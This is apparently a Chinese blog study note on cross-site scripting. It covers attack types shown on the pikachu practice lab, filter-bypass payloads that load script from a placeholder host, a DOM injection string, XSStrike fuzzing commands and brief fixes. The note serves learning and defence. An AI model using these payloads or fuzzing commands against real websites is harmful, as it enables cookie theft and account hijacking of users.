• 网络安全笔记 -- XSS跨站(原理、分类)


    1. 原理

    XSS漏洞产生原理

    XSS攻击涉及到三方,分别是:攻击者、用户和web服务器。

    用户通过浏览器访问web网页,攻击者通过一些办法在用户访问页面的时候插入一些脚本,用户在访问页面的时候执行这个脚本,攻击者通过脚本执行获得用户的信息,如cookie,从而获取用户隐私信息,或者可以伪造用户请求等。

    在这里插入图片描述

    XSS漏洞危害影响

    • 挂马
    • 盗取用户Cookie
    • DDos客户端浏览器
    • 钓鱼攻击
    • 删除目标文章、恶意篡改数据、嫁祸
    • 劫持用户Web行为,甚至进一步渗透内网
    • 爆发Web2.0蠕虫
    • 蠕虫式DDos攻击
    • 蠕虫式挂马攻击、刷广告、刷流量、破坏网上数据



    2. 分类

    被动型,需要受害者主动触发

    类型说明
    反射型服务端返回脚本,客户端执行
    存储型后台存储了非法脚本,并且前端直接展示
    DOM-Based型基于DOM或本地的XSS攻击

    2.1 反射型XSS(GET)

    测试平台:pikachu

    1. 启动靶场
      在这里插入图片描述
    2. 随机输入一个名字,查看结果,因此考虑输入一段脚本,看是否能被执行

    在这里插入图片描述

    1. 输入一段脚本,发现有长度限制,因此打开检查工具,修改网页端输入框长度限制,修改成任意大的值,如500

    在这里插入图片描述在这里插入图片描述

    1. 输入一段脚本,提交,页面脚本执行

    在这里插入图片描述


    2.2 存储型XSS

    测试平台:pikachu

    1. 启动靶场
      在这里插入图片描述
    2. 在留言板中随便写入一些数据,观察

    在这里插入图片描述

    1. 在留言板中输入:,脚本执行

    在这里插入图片描述

    1. 当下次再点击进入该页面时,脚本执行并弹出弹窗

    2.2 DOM型XSS

    测试平台:pikachu

    1. 启动靶场
      在这里插入图片描述
    2. 随机输入值,提交后查看页面,点击“what do you see?”,页面会根据输入的值跳转到相应的页面
      在这里插入图片描述
      在这里插入图片描述
    3. 输入: #’ οnclick=“alert(2)”>

    在这里插入图片描述
    4. 查看源代码如下:

    document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?a>";
    
    
    "<a href='#' onclick="alert(2)">'>what do you see?a>"
    
    • 1
    • 2
    • 3
    • 4



    3. WAF绕过

    • 标签语法替换
    • 特殊符号干扰
    • 提交方式更改
    • 垃圾数据溢出
    • 加密解密算法
    • 结合其它漏洞绕过

    标签语法替换

    name=<script src=http://xxx.com>script>
    name=<script src="http://xxx.com"
    name= src="http://xxx.com"#12@#1634%>
    
    name=<a href="http://xxx.com">a
    name=a
    

    特殊符号干扰

    name=<a href="http://xxx.com"1111!@#>a
    name=a
    

    提交方式更改

    get方式改成post方式

    加密解密算法

    参考文章

    Java%0a%0d%09script:alert()>click\
    



    4. 自动化工具XSStrike

    下载链接

    常用命令:

    -u, --url     // 指定目标URL
    --data        // post方式提交内容
    -v,-verbose   // 详细输出
    -f,--file     // 加载自定义paload字典
    -t,--threads  // 定义线程数
    -l,--level    // 爬行深度
    -t,--encode   // 定义payload编码方式
    --json        // 将post数据视为JSON
    --path        // 测试URL路径组件
    --seeds       // 从文件中测试、抓取URL
    --fuzzer      // 测试过滤器和web应用程序防火墙
    --update      // 更新
    --timeout     // 设置超时时间
    --params      // 指定参数
    --crawl       // 爬行
    --proxy       // 使用代理
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    命令:
    D:/XSStrike/xsstrike.py -u "http://xxx.com/index.php/?name=" --fuzzer
    
    • 1
    • 2

    5. 安全修复

    开启httponly、输入过滤、输出过滤等

    JAVA:https://www.cnblogs.com/baixiansheng/p/9001522.html

  • 相关阅读:
    亚马逊收到CPSC查验通知后卖家需要怎么弄?ASTM F963标准测试 ,CPC认证
    两种白名单限流方案(redis lua限流,guava方案)
    设计模式——单例模式8种实现
    对一段规律的字符串做修改
    【数据结构】栈和队列
    谈一谈对 Android Context 的理解
    湖南互联网医院|湖南互联网医院牌照办理流程及材料
    ansible DBA常用场景命令小集
    vue3 引入element-plus
    无胁科技-TVD每日漏洞情报-2022-8-22
  • 原文地址:https://blog.csdn.net/swy66/article/details/126448010